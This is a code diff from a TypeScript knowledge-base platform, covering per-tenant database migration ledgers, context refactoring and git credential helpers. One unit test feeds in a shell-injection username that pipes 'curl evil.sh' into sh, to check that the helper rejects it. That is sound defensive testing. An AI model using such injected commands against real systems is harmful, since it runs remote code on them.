- package/src/modules/workflow/agent-tools/workflow.tools.ts +11 -9
- package/src/modules/workflow/git/__tests__/git.service.accessGating.test.ts +5 -4
- package/src/modules/workflow/git/__tests__/git.service.changedFilesForPr.test.ts +12 -11
- package/src/modules/workflow/git/__tests__/git.service.commitChanges.test.ts +9 -8
- package/src/modules/workflow/git/__tests__/git.service.commitFile.strayPath.test.ts +8 -7
- package/src/modules/workflow/git/__tests__/git.service.commitFile.test.ts +6 -5
- package/src/modules/workflow/git/__tests__/git.service.createBranch.test.ts +3 -2
- package/src/modules/workflow/git/__tests__/git.service.deleteBranch.test.ts +3 -2
- package/src/modules/workflow/git/__tests__/git.service.diffFileAtCommit.test.ts +7 -6
- package/src/modules/workflow/git/__tests__/git.service.diffFileBetweenBranches.test.ts +16 -15
- package/src/modules/workflow/git/__tests__/git.service.fileContentsAtCommit.test.ts +3 -2
- package/src/modules/workflow/git/__tests__/git.service.forkPoint.test.ts +2 -1
- package/src/modules/workflow/git/__tests__/git.service.history-guards.test.ts +2 -1
- package/src/modules/workflow/git/__tests__/git.service.list-branches.test.ts +10 -9
- package/src/modules/workflow/git/__tests__/git.service.listTrackedFiles.test.ts +2 -1
- package/src/modules/workflow/git/__tests__/git.service.logForFile.test.ts +6 -5
- package/src/modules/workflow/git/__tests__/git.service.mergeChangeRequest.test.ts +9 -8
- package/src/modules/workflow/git/__tests__/git.service.pendingChanges.test.ts +2 -1
- package/src/modules/workflow/git/__tests__/git.service.postMergePull.test.ts +4 -3
- package/src/modules/workflow/git/__tests__/git.service.pull.test.ts +9 -8
- package/src/modules/workflow/git/__tests__/git.service.readFileAtRef.test.ts +2 -1
- package/src/modules/workflow/git/__tests__/git.service.revertPathsAndPush.test.ts +2 -1
- package/src/modules/workflow/git/__tests__/git.service.status.test.ts +4 -3
- package/src/modules/workflow/git/__tests__/git.service.syncFromRemote.test.ts +8 -7
- package/src/modules/workflow/git/__tests__/node-git-runner.test.ts +41 -3
- package/src/modules/workflow/git/git.service.ts +24 -13
- package/src/modules/workflow/git/node-git-runner.ts +37 -4
- package/src/modules/workflow/review-workflow/review-workflow.service.ts +9 -6
- package/src/modules/workflow/session-ontology.service.ts +7 -2
- package/src/modules/workflow/workflow.service.ts +31 -24
- package/src/modules/workspace/__tests__/file-stat-access.test.ts +3 -2
- package/src/modules/workspace/__tests__/git-internals.security.test.ts +10 -9
- package/src/modules/workspace/__tests__/session-ontology.gate.test.ts +4 -2
- package/src/modules/workspace/__tests__/workspace-paths-inside-the-repo.test.ts +3 -2
- package/src/modules/workspace/__tests__/workspace.routes.branch-errors.test.ts +2 -1
- package/src/modules/workspace/__tests__/workspace.routes.create-grant.test.ts +2 -1
- package/src/modules/workspace/__tests__/workspace.routes.delete.test.ts +2 -1
- package/src/modules/workspace/__tests__/workspace.routes.download-implies-read.test.ts +2 -1
- package/src/modules/workspace/__tests__/workspace.routes.download.test.ts +2 -1
- package/src/modules/workspace/__tests__/workspace.routes.file-writes.test.ts +2 -1
- package/src/modules/workspace/__tests__/workspace.routes.folders.test.ts +5 -4
- package/src/modules/workspace/__tests__/workspace.routes.move-platform-files.test.ts +2 -1
- package/src/modules/workspace/__tests__/workspace.routes.read-gate.test.ts +2 -1
- package/src/modules/workspace/__tests__/workspace.service.ensure-remotes-fetched.test.ts +2 -2
- package/src/modules/workspace/__tests__/workspace.service.list-cloned.test.ts +6 -5
- package/src/modules/workspace/__tests__/workspace.service.move-never-overwrites.test.ts +2 -1
- package/src/modules/workspace/__tests__/workspace.service.read-filter.test.ts +2 -1
- package/src/modules/workspace/__tests__/workspace.service.test.ts +84 -50
- package/src/modules/workspace/__tests__/workspace.service.unknown-branch.test.ts +2 -1
- package/src/modules/workspace/__tests__/workspace.tools.agents-file.test.ts +10 -7
- package/src/modules/workspace/__tests__/workspace.tools.branch-errors.test.ts +4 -3
- package/src/modules/workspace/__tests__/workspace.tools.test.ts +9 -8
- package/src/modules/workspace/__tests__/write-denial.test.ts +5 -4
- package/src/modules/workspace/session-ontology.gate.ts +6 -4
- package/src/modules/workspace/startup/__tests__/kb-startup-runner.degraded.test.ts +6 -2
- package/src/modules/workspace/startup/__tests__/kb-startup-runner.test.ts +29 -21
- package/src/modules/workspace/startup/kb-git.ts +15 -22
- package/src/modules/workspace/startup/kb-startup-runner.ts +40 -46
- package/src/modules/workspace/startup/steps/__tests__/steps.test.ts +104 -98
- package/src/modules/workspace/startup/steps/groups-to-plugins.step.ts +24 -16
- package/src/modules/workspace/startup/steps/personal-spaces.step.ts +14 -5
- package/src/modules/workspace/startup/steps/plugin-display-names.step.ts +13 -5
- package/src/modules/workspace/startup/steps/plugin-manifests.step.ts +14 -5
- package/src/modules/workspace/startup/steps/seed-tree.ts +11 -9
- package/src/modules/workspace/startup/steps/template-files.step.ts +43 -34
- package/src/modules/workspace/startup/steps/template-source.ts +8 -5
- package/src/modules/workspace/workspace.routes.ts +8 -7
- package/src/modules/workspace/workspace.service.ts +30 -27
- package/src/modules/workspace/workspace.tools.ts +21 -20
- package/src/modules/workspace/write-denial.ts +7 -5
- package/src/shared/__tests__/kb-layout.plugin.test.ts +19 -16
- package/src/shared/git.contract.ts +70 -8
- package/src/shared/kb-context.ts +130 -0
- package/src/shared/kb-layout.test.ts +37 -27
- package/src/shared/kb-layout.ts +4 -3
- package/src/shared/pending-proposals.ts +7 -4
- package/src/shared/redact-secret.ts +5 -5
- package/src/tenancy/__tests__/static-tenant-source.test.ts +177 -0
- package/src/tenancy/__tests__/tenant-host.test.ts +372 -0
- package/src/tenancy/__tests__/tenant-runtime.test.ts +221 -0
- package/src/tenancy/__tests__/tenant-secrets.test.ts +35 -0
- package/src/tenancy/index.ts +35 -0
- package/src/tenancy/static-tenant-source.ts +296 -0
- package/src/tenancy/tenant-host.ts +261 -0
- package/src/tenancy/tenant-runtime.ts +208 -0
- package/src/tenancy/tenant-secrets.ts +41 -0
- package/src/tenancy/tenant-source.contract.ts +59 -0
|
@@ -2,7 +2,7 @@ import { migrate } from 'drizzle-orm/node-postgres/migrator';
|
|
|
2
2
|
import { logger } from '../../shared/logging.js';
|
|
3
3
|
|
|
4
4
|
const log = logger('database');
|
|
5
|
-
import type
|
|
5
|
+
import { DEFAULT_DB_SCHEMA, dbSchemaOf, type Database } from './connection.js';
|
|
6
6
|
import { AdvisoryLock, withAdvisoryLock } from './advisory-lock.js';
|
|
7
7
|
|
|
8
8
|
/*
|
|
@@ -38,13 +38,40 @@ import { AdvisoryLock, withAdvisoryLock } from './advisory-lock.js';
|
|
|
38
38
|
* container takes to exit. See `advisory-lock.ts` for the mechanism.
|
|
39
39
|
*/
|
|
40
40
|
|
|
41
|
+
/**
|
|
42
|
+
* Where a handle's migration ledger lives, and which lock guards its runs.
|
|
43
|
+
*
|
|
44
|
+
* The default schema keeps drizzle's own `drizzle` schema for the ledger,
|
|
45
|
+
* where every existing deployment already has one: naming `public` here
|
|
46
|
+
* would make the next boot read an empty ledger and re-apply plain DDL that
|
|
47
|
+
* is already applied. A knowledge base on a schema of its own keeps its
|
|
48
|
+
* ledger IN that schema, so the schema is the whole of the tenant: what
|
|
49
|
+
* `pg_dump -n` carries out includes what has been applied to it, and the
|
|
50
|
+
* dedicated deployment it is restored into resumes from there rather than
|
|
51
|
+
* from nothing. The lock is keyed the same way, so two tenants of one
|
|
52
|
+
* database migrate side by side while two processes of one tenant still
|
|
53
|
+
* take turns.
|
|
54
|
+
*/
|
|
55
|
+
function ledgerOptions(db: Database): { migrationsSchema?: string; tenantKey: string } {
|
|
56
|
+
const schema = dbSchemaOf(db);
|
|
57
|
+
return schema === DEFAULT_DB_SCHEMA
|
|
58
|
+
? { tenantKey: '' }
|
|
59
|
+
: { migrationsSchema: schema, tenantKey: schema };
|
|
60
|
+
}
|
|
61
|
+
|
|
41
62
|
/** Apply the CORE migration history from `folder`, tracked in `__drizzle_migrations_core`. */
|
|
42
63
|
export async function runCoreMigrations(db: Database, folder: string): Promise<void> {
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
64
|
+
const { migrationsSchema, tenantKey } = ledgerOptions(db);
|
|
65
|
+
await withAdvisoryLock(
|
|
66
|
+
db,
|
|
67
|
+
AdvisoryLock.Migrations,
|
|
68
|
+
async () => {
|
|
69
|
+
log.info('Running core database migrations...');
|
|
70
|
+
await migrate(db, { migrationsFolder: folder, migrationsTable: '__drizzle_migrations_core', migrationsSchema });
|
|
71
|
+
log.info('Core migrations complete.');
|
|
72
|
+
},
|
|
73
|
+
{ tenantKey },
|
|
74
|
+
);
|
|
48
75
|
}
|
|
49
76
|
|
|
50
77
|
/**
|
|
@@ -53,12 +80,19 @@ export async function runCoreMigrations(db: Database, folder: string): Promise<v
|
|
|
53
80
|
* enterprise tables FK into core tables.
|
|
54
81
|
*/
|
|
55
82
|
export async function runEnterpriseMigrations(db: Database, folder: string): Promise<void> {
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
83
|
+
const { migrationsSchema, tenantKey } = ledgerOptions(db);
|
|
84
|
+
await withAdvisoryLock(
|
|
85
|
+
db,
|
|
86
|
+
AdvisoryLock.Migrations,
|
|
87
|
+
async () => {
|
|
88
|
+
log.info('Running enterprise database migrations...');
|
|
89
|
+
await migrate(db, {
|
|
90
|
+
migrationsFolder: folder,
|
|
91
|
+
migrationsTable: '__drizzle_migrations_enterprise',
|
|
92
|
+
migrationsSchema,
|
|
93
|
+
});
|
|
94
|
+
log.info('Enterprise migrations complete.');
|
|
95
|
+
},
|
|
96
|
+
{ tenantKey },
|
|
97
|
+
);
|
|
64
98
|
}
|
|
@@ -7,6 +7,7 @@ import { WorkspaceService } from '../../workspace/workspace.service.js';
|
|
|
7
7
|
import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
|
|
8
8
|
import { WorkspaceMutex } from '../../kb-fs/mutex.js';
|
|
9
9
|
import { DiffService } from '../diff.service.js';
|
|
10
|
+
import { testKbContext } from '../../../__tests__/kb-context.js';
|
|
10
11
|
|
|
11
12
|
/**
|
|
12
13
|
* Atomic-seed regression suite.
|
|
@@ -55,7 +56,7 @@ async function setup(): Promise<Fixture> {
|
|
|
55
56
|
const workspaceService = new WorkspaceService(
|
|
56
57
|
workspacesRoot,
|
|
57
58
|
'https://github.com/Bevel-Software/knowledge-base.git',
|
|
58
|
-
|
|
59
|
+
testKbContext(),
|
|
59
60
|
new NodeFs(),
|
|
60
61
|
);
|
|
61
62
|
const mutex = new WorkspaceMutex();
|
|
@@ -7,6 +7,7 @@ import { WorkspaceService } from '../../workspace/workspace.service.js';
|
|
|
7
7
|
import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
|
|
8
8
|
import { WorkspaceMutex } from '../../kb-fs/mutex.js';
|
|
9
9
|
import { DiffService } from '../diff.service.js';
|
|
10
|
+
import { testKbContext } from '../../../__tests__/kb-context.js';
|
|
10
11
|
|
|
11
12
|
async function mkTmpRoot(prefix: string): Promise<string> {
|
|
12
13
|
return fs.mkdtemp(path.join(os.tmpdir(), prefix));
|
|
@@ -41,7 +42,7 @@ async function setup(): Promise<Fixture> {
|
|
|
41
42
|
const workspaceService = new WorkspaceService(
|
|
42
43
|
workspacesRoot,
|
|
43
44
|
'https://github.com/Bevel-Software/knowledge-base.git',
|
|
44
|
-
|
|
45
|
+
testKbContext(),
|
|
45
46
|
new NodeFs(),
|
|
46
47
|
);
|
|
47
48
|
const mutex = new WorkspaceMutex();
|
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
import { describe, it, expect } from 'vitest';
|
|
2
|
+
import { currentBranchModel, isProtectedBranch } from '@bevel-software/platform-shared';
|
|
2
3
|
import {
|
|
3
4
|
assertValidBranchName,
|
|
4
5
|
assertValidRelativePath,
|
|
5
|
-
isProtectedBranch,
|
|
6
6
|
} from '../branch-name.js';
|
|
7
7
|
import { BranchNameError, WorkflowValidationError } from '../../../shared/domain-errors.js';
|
|
8
8
|
|
|
@@ -75,12 +75,12 @@ describe('assertValidRelativePath', () => {
|
|
|
75
75
|
|
|
76
76
|
describe('isProtectedBranch', () => {
|
|
77
77
|
it('protects current-company-state and target-company-state', () => {
|
|
78
|
-
expect(isProtectedBranch('current-company-state')).toBe(true);
|
|
79
|
-
expect(isProtectedBranch('target-company-state')).toBe(true);
|
|
78
|
+
expect(isProtectedBranch(currentBranchModel(), 'current-company-state')).toBe(true);
|
|
79
|
+
expect(isProtectedBranch(currentBranchModel(), 'target-company-state')).toBe(true);
|
|
80
80
|
});
|
|
81
81
|
it('does not protect user branches', () => {
|
|
82
|
-
expect(isProtectedBranch('ali-raza/add-owner')).toBe(false);
|
|
83
|
-
expect(isProtectedBranch('main')).toBe(false);
|
|
84
|
-
expect(isProtectedBranch('develop')).toBe(false);
|
|
82
|
+
expect(isProtectedBranch(currentBranchModel(), 'ali-raza/add-owner')).toBe(false);
|
|
83
|
+
expect(isProtectedBranch(currentBranchModel(), 'main')).toBe(false);
|
|
84
|
+
expect(isProtectedBranch(currentBranchModel(), 'develop')).toBe(false);
|
|
85
85
|
});
|
|
86
86
|
});
|
|
@@ -1,4 +1,5 @@
|
|
|
1
|
-
import { describe, it, expect
|
|
1
|
+
import { describe, it, expect } from 'vitest';
|
|
2
|
+
import { gitCredentials } from '../../../shared/git.contract.js';
|
|
2
3
|
import {
|
|
3
4
|
cloneCredentialArgs,
|
|
4
5
|
cloneCredentialConfigArgs,
|
|
@@ -24,56 +25,59 @@ describe('cloneTrackingConfigArgs', () => {
|
|
|
24
25
|
});
|
|
25
26
|
|
|
26
27
|
describe('credential config', () => {
|
|
27
|
-
const
|
|
28
|
-
|
|
29
|
-
if (ORIGINAL === undefined) delete process.env.GITHUB_TOKEN;
|
|
30
|
-
else process.env.GITHUB_TOKEN = ORIGINAL;
|
|
31
|
-
});
|
|
28
|
+
const withToken = (username = 'x-access-token') => gitCredentials(username, 'ghp_supersecret');
|
|
29
|
+
const withoutToken = gitCredentials('x-access-token', null);
|
|
32
30
|
|
|
33
31
|
it('reads the token from the environment at call time, never inlining its value', () => {
|
|
34
|
-
|
|
35
|
-
const helper = credentialHelperValue('x-access-token');
|
|
32
|
+
const helper = credentialHelperValue(withToken());
|
|
36
33
|
expect(helper).toContain('password=$GITHUB_TOKEN');
|
|
37
34
|
expect(helper).not.toContain('ghp_supersecret');
|
|
38
35
|
});
|
|
39
36
|
|
|
40
37
|
it('with no token: clones get no helper, and existing clones get theirs UNSET', () => {
|
|
41
|
-
|
|
42
|
-
expect(credentialHelperValue('x-access-token')).toBeNull();
|
|
38
|
+
expect(credentialHelperValue(withoutToken)).toBeNull();
|
|
43
39
|
// A fresh clone simply carries nothing…
|
|
44
|
-
expect(cloneCredentialArgs(
|
|
40
|
+
expect(cloneCredentialArgs(withoutToken)).toEqual([]);
|
|
45
41
|
// …but an adopted clone may carry a helper from when a token WAS
|
|
46
42
|
// configured, and that stale helper (answering with an empty password)
|
|
47
43
|
// would shadow whatever auth the operator fell back to — so the repair
|
|
48
44
|
// path removes it. Callers run this tolerantly: unset of a missing key
|
|
49
45
|
// exits non-zero and is the expected no-op.
|
|
50
|
-
expect(cloneCredentialConfigArgs(
|
|
46
|
+
expect(cloneCredentialConfigArgs(withoutToken)).toEqual([
|
|
51
47
|
['config', '--unset-all', 'credential.helper', 'password=\\$GITHUB_TOKEN'],
|
|
52
48
|
]);
|
|
53
49
|
});
|
|
54
50
|
|
|
51
|
+
it('never reads this process\'s environment: a token there is not a token in effect', () => {
|
|
52
|
+
const previous = process.env.GITHUB_TOKEN;
|
|
53
|
+
process.env.GITHUB_TOKEN = 'ghp_stale_from_env';
|
|
54
|
+
try {
|
|
55
|
+
expect(credentialHelperValue(withoutToken)).toBeNull();
|
|
56
|
+
} finally {
|
|
57
|
+
if (previous === undefined) delete process.env.GITHUB_TOKEN;
|
|
58
|
+
else process.env.GITHUB_TOKEN = previous;
|
|
59
|
+
}
|
|
60
|
+
});
|
|
61
|
+
|
|
55
62
|
it('passes the clone form as --config, which git only honours AFTER the subcommand', () => {
|
|
56
|
-
process.env.GITHUB_TOKEN = 'ghp_x';
|
|
57
63
|
// Pinned exactly: `-c` here instead of `--config` still authenticates the
|
|
58
64
|
// clone but writes nothing into the new repo, which is the bug this guards.
|
|
59
|
-
expect(cloneCredentialArgs('oauth2')).toEqual([
|
|
65
|
+
expect(cloneCredentialArgs(withToken('oauth2'))).toEqual([
|
|
60
66
|
'--config',
|
|
61
|
-
`credential.helper=${credentialHelperValue('oauth2')}`,
|
|
67
|
+
`credential.helper=${credentialHelperValue(withToken('oauth2'))}`,
|
|
62
68
|
]);
|
|
63
69
|
});
|
|
64
70
|
|
|
65
71
|
it('replaces rather than appends when re-stamping — scoped to app-owned values only', () => {
|
|
66
|
-
process.env.GITHUB_TOKEN = 'ghp_x';
|
|
67
72
|
// The trailing value-pattern is what keeps an operator's own clone-local
|
|
68
73
|
// helper (store/cache/custom) out of reach of both the replace and the
|
|
69
74
|
// unset — git only touches values matching it.
|
|
70
|
-
expect(cloneCredentialConfigArgs(
|
|
71
|
-
['config', '--replace-all', 'credential.helper', credentialHelperValue(
|
|
75
|
+
expect(cloneCredentialConfigArgs(withToken())).toEqual([
|
|
76
|
+
['config', '--replace-all', 'credential.helper', credentialHelperValue(withToken()), 'password=\\$GITHUB_TOKEN'],
|
|
72
77
|
]);
|
|
73
78
|
});
|
|
74
79
|
|
|
75
80
|
it('refuses a username that would break out of the helper snippet', () => {
|
|
76
|
-
|
|
77
|
-
expect(() => credentialHelperValue('me"; curl evil.sh | sh; #')).toThrow(/must match/);
|
|
81
|
+
expect(() => credentialHelperValue(withToken('me"; curl evil.sh | sh; #'))).toThrow(/must match/);
|
|
78
82
|
});
|
|
79
83
|
});
|
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
import { BranchNameError, WorkflowValidationError } from '../../shared/domain-errors.js';
|
|
2
2
|
|
|
3
|
-
//
|
|
4
|
-
// the
|
|
5
|
-
|
|
3
|
+
// The protected-branch list is the knowledge base's (`KbContext.protectedBranches`):
|
|
4
|
+
// services ask the context they were built with, so the backend guard and the
|
|
5
|
+
// frontend banner (which reads the same model from `/api/config`) can't drift.
|
|
6
6
|
// Authorship inference lives in `@bevel-software/platform-shared` for the same reason — the
|
|
7
7
|
// picker's `canDelete` rule and the backend authorisation check on
|
|
8
8
|
// `deleteBranch` must agree on every edge case (uppercase email, dotted
|
|
@@ -1,3 +1,5 @@
|
|
|
1
|
+
import { GIT_TOKEN_ENV, type GitCredentials } from '../../shared/git.contract.js';
|
|
2
|
+
|
|
1
3
|
/**
|
|
2
4
|
* The git configuration a per-branch workspace clone must carry: the tracking
|
|
3
5
|
* config that pins its branch to exactly ONE upstream ref, and the credential
|
|
@@ -90,21 +92,22 @@ export function cloneTrackingConfigArgs(branch: string): string[][] {
|
|
|
90
92
|
|
|
91
93
|
/**
|
|
92
94
|
* The inline credential helper a workspace clone authenticates its remote
|
|
93
|
-
* operations with, or null when the
|
|
95
|
+
* operations with, or null when the credentials carry no token.
|
|
94
96
|
*
|
|
95
97
|
* The snippet reads `$GITHUB_TOKEN` at CALL time, so the secret itself never
|
|
96
98
|
* enters argv, the clone's `.git/config`, or any error message quoting either.
|
|
97
|
-
*
|
|
98
|
-
* `
|
|
99
|
-
*
|
|
100
|
-
*
|
|
99
|
+
* The git runner puts the token there for every call it makes
|
|
100
|
+
* (`GIT_TOKEN_ENV` in `shared/git.contract.ts`), whichever way it arrived:
|
|
101
|
+
* the environment at boot, or the setup screen afterwards. Nothing else
|
|
102
|
+
* reads that variable, and nothing writes it into this process.
|
|
101
103
|
*
|
|
102
104
|
* The username is provider-specific (GitHub `x-access-token`, GitLab `oauth2`,
|
|
103
105
|
* Bitbucket `x-token-auth`); the token is always the Basic-auth password,
|
|
104
106
|
* which every major host accepts.
|
|
105
107
|
*/
|
|
106
|
-
export function credentialHelperValue(
|
|
107
|
-
if (!
|
|
108
|
+
export function credentialHelperValue(credentials: GitCredentials): string | null {
|
|
109
|
+
if (!credentials.token()) return null;
|
|
110
|
+
const gitUsername = credentials.username();
|
|
108
111
|
// Interpolated into a shell snippet that git will execute. `CoreConfig` and
|
|
109
112
|
// `DeploymentSettingsService` both reject a username outside this charset
|
|
110
113
|
// before it can get this far, so reaching the throw means an unvalidated
|
|
@@ -119,7 +122,7 @@ export function credentialHelperValue(gitUsername: string): string | null {
|
|
|
119
122
|
// `password=$GITHUB_TOKEN` stays in the snippet, which is what
|
|
120
123
|
// APP_HELPER_VALUE_PATTERN keys on — echo-era helpers stamped by earlier
|
|
121
124
|
// builds still match it and get replaced on the next stamp.
|
|
122
|
-
return `!f() { printf '%s\\n' "username=${gitUsername}" "password
|
|
125
|
+
return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$${GIT_TOKEN_ENV}"; }; f`;
|
|
123
126
|
}
|
|
124
127
|
|
|
125
128
|
/**
|
|
@@ -135,8 +138,8 @@ export function credentialHelperValue(gitUsername: string): string | null {
|
|
|
135
138
|
* Empty when no token is configured, matching the un-authenticated clone the
|
|
136
139
|
* rest of the layer already supports.
|
|
137
140
|
*/
|
|
138
|
-
export function cloneCredentialArgs(
|
|
139
|
-
const helper = credentialHelperValue(
|
|
141
|
+
export function cloneCredentialArgs(credentials: GitCredentials): string[] {
|
|
142
|
+
const helper = credentialHelperValue(credentials);
|
|
140
143
|
return helper ? ['--config', `credential.helper=${helper}`] : [];
|
|
141
144
|
}
|
|
142
145
|
|
|
@@ -165,8 +168,8 @@ export function cloneCredentialArgs(gitUsername: string): string[] {
|
|
|
165
168
|
*/
|
|
166
169
|
const APP_HELPER_VALUE_PATTERN = 'password=\\$GITHUB_TOKEN';
|
|
167
170
|
|
|
168
|
-
export function cloneCredentialConfigArgs(
|
|
169
|
-
const helper = credentialHelperValue(
|
|
171
|
+
export function cloneCredentialConfigArgs(credentials: GitCredentials): string[][] {
|
|
172
|
+
const helper = credentialHelperValue(credentials);
|
|
170
173
|
// `--replace-all key value pattern` replaces every line MATCHING the
|
|
171
174
|
// pattern with the one value (adding it when none match) and leaves
|
|
172
175
|
// non-matching values — operator helpers — untouched. Same scoping on the
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
import { describe, it, expect } from 'vitest';
|
|
2
2
|
import { MarketplaceRepoService, type MarketplaceCompiler } from '../marketplace-repo.service.js';
|
|
3
|
-
import { GitRunError, type IGitRunner } from '../../../shared/git.contract.js';
|
|
3
|
+
import { GitRunError, NO_GIT_CREDENTIALS, type IGitRunner } from '../../../shared/git.contract.js';
|
|
4
4
|
|
|
5
5
|
const SHA = 'a'.repeat(40);
|
|
6
6
|
|
|
@@ -8,6 +8,7 @@ const SHA = 'a'.repeat(40);
|
|
|
8
8
|
function runnerFailingRevParse(failure: GitRunError): IGitRunner {
|
|
9
9
|
return {
|
|
10
10
|
defaultTimeoutMs: 1_000,
|
|
11
|
+
credentials: NO_GIT_CREDENTIALS,
|
|
11
12
|
run: (async (_cwd: string, args: string[]) => {
|
|
12
13
|
if (args.includes('rev-parse')) throw failure;
|
|
13
14
|
return { stdout: '', stderr: '' };
|
|
@@ -93,6 +93,13 @@ export interface McpProxyOptions {
|
|
|
93
93
|
readAgentPreamble?: AgentPreambleReader;
|
|
94
94
|
/** Bounds of the downstream (`mcp.json`) connection pool; defaults are 4h idle / 5000 entries. */
|
|
95
95
|
downstreamPool?: Pick<DownstreamPoolOptions<unknown>, 'idleTtlMs' | 'maxEntries' | 'now'>;
|
|
96
|
+
/**
|
|
97
|
+
* The scope this knowledge base's secrets vault was registered under (see
|
|
98
|
+
* `secrets-variable-loader.ts`), so the UTCP clients built here resolve a
|
|
99
|
+
* caller's `${VAR}`s from that vault and no other's. Default: the single
|
|
100
|
+
* knowledge base's.
|
|
101
|
+
*/
|
|
102
|
+
secretsScope?: string;
|
|
96
103
|
}
|
|
97
104
|
|
|
98
105
|
/** Who a request is from — everything the proxy needs, resolved from that request's own bearer. */
|
|
@@ -727,7 +734,7 @@ export class McpService {
|
|
|
727
734
|
*/
|
|
728
735
|
private async buildClient(bearer: string, userId: string, manuals: CallTemplate[]): Promise<CodeModeUtcpClient> {
|
|
729
736
|
const variables = seedBevelHostedManualVars(manuals, this.opts.loopbackBaseUrl, bearer);
|
|
730
|
-
return CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, variables));
|
|
737
|
+
return CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, variables, this.opts.secretsScope));
|
|
731
738
|
}
|
|
732
739
|
|
|
733
740
|
/**
|
|
@@ -959,7 +966,7 @@ export class McpService {
|
|
|
959
966
|
private async connectDownstream(userId: string, template: CallTemplate): Promise<PooledDownstream> {
|
|
960
967
|
// Third-party manuals are never seeded loopback credentials (see
|
|
961
968
|
// `buildClient`), so a pooled client carries no request-scoped bearer.
|
|
962
|
-
const client = await CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, {}));
|
|
969
|
+
const client = await CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, {}, this.opts.secretsScope));
|
|
963
970
|
// Our own copy: registration renames the template in place, and recovery
|
|
964
971
|
// re-registers from exactly what discovery used.
|
|
965
972
|
const own = structuredClone(template);
|
|
@@ -1240,10 +1247,10 @@ function isErrorResult(result: CallToolResult): boolean {
|
|
|
1240
1247
|
* request clients and pooled downstream clients, so both resolve a manual's
|
|
1241
1248
|
* variables through exactly the same tiers.
|
|
1242
1249
|
*/
|
|
1243
|
-
function utcpClientConfig(userId: string, variables: Record<string, string
|
|
1250
|
+
function utcpClientConfig(userId: string, variables: Record<string, string>, secretsScope?: string) {
|
|
1244
1251
|
return new UtcpClientConfigSerializer().validateDict({
|
|
1245
1252
|
variables,
|
|
1246
|
-
load_variables_from: [bevelSecretsLoaderConfig(userId)],
|
|
1253
|
+
load_variables_from: [bevelSecretsLoaderConfig(userId, secretsScope)],
|
|
1247
1254
|
});
|
|
1248
1255
|
}
|
|
1249
1256
|
|
|
@@ -3,7 +3,8 @@ import { NodeFs } from '../../kb-fs/node-fs.js';
|
|
|
3
3
|
import fs from 'node:fs/promises';
|
|
4
4
|
import os from 'node:os';
|
|
5
5
|
import path from 'node:path';
|
|
6
|
-
import { DEFAULT_BRANCH
|
|
6
|
+
import { DEFAULT_BRANCH } from '@bevel-software/platform-shared';
|
|
7
|
+
import { testKbContext } from '../../../__tests__/kb-context.js';
|
|
7
8
|
|
|
8
9
|
import type { WorkspaceService } from '../../workspace/workspace.service.js';
|
|
9
10
|
import { AccessControlService } from '../../access/access-control.service.js';
|
|
@@ -46,7 +47,8 @@ describe('bundle dialect, end to end', () => {
|
|
|
46
47
|
};
|
|
47
48
|
|
|
48
49
|
beforeEach(async () => {
|
|
49
|
-
|
|
50
|
+
// The customer's root names, read by every consumer through one context.
|
|
51
|
+
const kb = testKbContext({ kbDirName: KB_DIR, layout: { knowledgeBaseDir: 'docs', skillsDir: 'skills', pluginsDir: 'plugins' } });
|
|
50
52
|
root = await fs.mkdtemp(path.join(os.tmpdir(), 'bevel-dialect-'));
|
|
51
53
|
repo = path.join(root, wsId, KB_DIR);
|
|
52
54
|
const workspaceService = {
|
|
@@ -94,17 +96,16 @@ describe('bundle dialect, end to end', () => {
|
|
|
94
96
|
);
|
|
95
97
|
|
|
96
98
|
const disk = new NodeFs();
|
|
97
|
-
const source = new KbPluginSource(disk);
|
|
98
|
-
access = new AccessControlService(workspaceService, KB_DIR, disk);
|
|
99
|
-
skills = new SkillService(workspaceService, access,
|
|
100
|
-
tools = new ToolManualService(workspaceService, access,
|
|
101
|
-
links = new PluginLinkIndex(workspaceService, skills, access,
|
|
102
|
-
index = new PluginIndexService(workspaceService, access, skills, tools,
|
|
103
|
-
compiler = new MarketplaceCompilerService(workspaceService, access, skills, links,
|
|
104
|
-
linkService = new PluginLinksService(workspaceService, { runPendingCommit: async () => undefined }, access, skills, links,
|
|
99
|
+
const source = new KbPluginSource(disk, kb);
|
|
100
|
+
access = new AccessControlService(workspaceService, KB_DIR, disk, [], new NodeGitRunner(), kb);
|
|
101
|
+
skills = new SkillService(workspaceService, access, kb, disk);
|
|
102
|
+
tools = new ToolManualService(workspaceService, access, kb, disk, source);
|
|
103
|
+
links = new PluginLinkIndex(workspaceService, skills, access, kb, source);
|
|
104
|
+
index = new PluginIndexService(workspaceService, access, skills, tools, kb, source, Date.now, links);
|
|
105
|
+
compiler = new MarketplaceCompilerService(workspaceService, access, skills, links, kb, { name: 'acme', owner: 'Acme' }, source, disk, new NodeGitRunner());
|
|
106
|
+
linkService = new PluginLinksService(workspaceService, { runPendingCommit: async () => undefined }, access, skills, links, kb);
|
|
105
107
|
});
|
|
106
108
|
afterEach(async () => {
|
|
107
|
-
configureKbLayout({ ...DEFAULT_KB_LAYOUT });
|
|
108
109
|
await fs.rm(root, { recursive: true, force: true });
|
|
109
110
|
});
|
|
110
111
|
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { describe, it, expect } from 'vitest';
|
|
2
|
+
import { DEFAULT_KB_LAYOUT } from '@bevel-software/platform-shared';
|
|
2
3
|
import fs from 'node:fs/promises';
|
|
3
4
|
import os from 'node:os';
|
|
4
5
|
import path from 'node:path';
|
|
@@ -147,7 +148,7 @@ describe('bundle: what it says about itself survives', () => {
|
|
|
147
148
|
}),
|
|
148
149
|
);
|
|
149
150
|
const warnings: string[] = [];
|
|
150
|
-
const plugin = await readBundlePlugin(dir, 'plugins/ado', 'ado', null, warnings, []);
|
|
151
|
+
const plugin = await readBundlePlugin(dir, 'plugins/ado', 'ado', null, warnings, [], DEFAULT_KB_LAYOUT);
|
|
151
152
